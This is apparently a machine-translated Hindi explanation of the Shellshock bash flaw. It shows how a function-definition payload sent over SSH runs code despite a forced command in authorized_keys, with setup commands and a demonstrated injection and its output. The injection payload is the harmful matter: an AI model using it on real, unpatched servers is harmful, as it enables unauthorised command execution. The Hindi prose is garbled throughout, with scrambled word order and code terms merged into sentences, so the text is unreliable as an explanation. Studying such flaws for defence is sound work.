एक उदाहरण जहां इसका शोषण किया जा सकता है वह एक authorized_keysमजबूर कमांड वाले सर्वर पर है । प्रवेश करते समय ~/.ssh/authorized_keys, आप किसी भी समय ssh सार्वजनिक कुंजी का उपयोग करने के command="foo"लिए बाध्य fooकरने के लिए लाइन के साथ उपसर्ग कर सकते हैं । इस कारनामे के साथ, यदि लक्ष्य उपयोगकर्ता के शेल को सेट किया गया है bash, तो वे कमांड के अलावा उन चीजों को चलाने के लिए शोषण का लाभ उठा सकते हैं, जिनके लिए उन्हें मजबूर किया जाता है।
यह शायद उदाहरण के लिए और अधिक समझ में आता है, इसलिए यहाँ एक उदाहरण है:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
यहां हम एक उपयोगकर्ता सेट करते हैं testuser, जो चलाने के लिए आपकी ssh कुंजी का उपयोग करके किसी भी ssh कनेक्शन को बाध्य करता है echo starting sleep; sleep 1।
हम इसके साथ परीक्षण कर सकते हैं:
$ ssh testuser@localhost echo something else
starting sleep
ध्यान दें कि हमारा echo something elseकाम कैसे नहीं starting sleepचलता है , लेकिन यह दर्शाता है कि मजबूर कमांड चलाया गया था।
अब दिखाते हैं कि इस शोषण का उपयोग कैसे किया जा सकता है:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
यह काम करता है क्योंकि पारित होने के sshdलिए SSH_ORIGINAL_COMMANDपर्यावरण चर सेट करता है । इसलिए भले ही मैं sshdभाग गया sleep, लेकिन मैंने इसे नहीं बताया, क्योंकि शोषण के कारण, मेरा कोड अभी भी चलता है।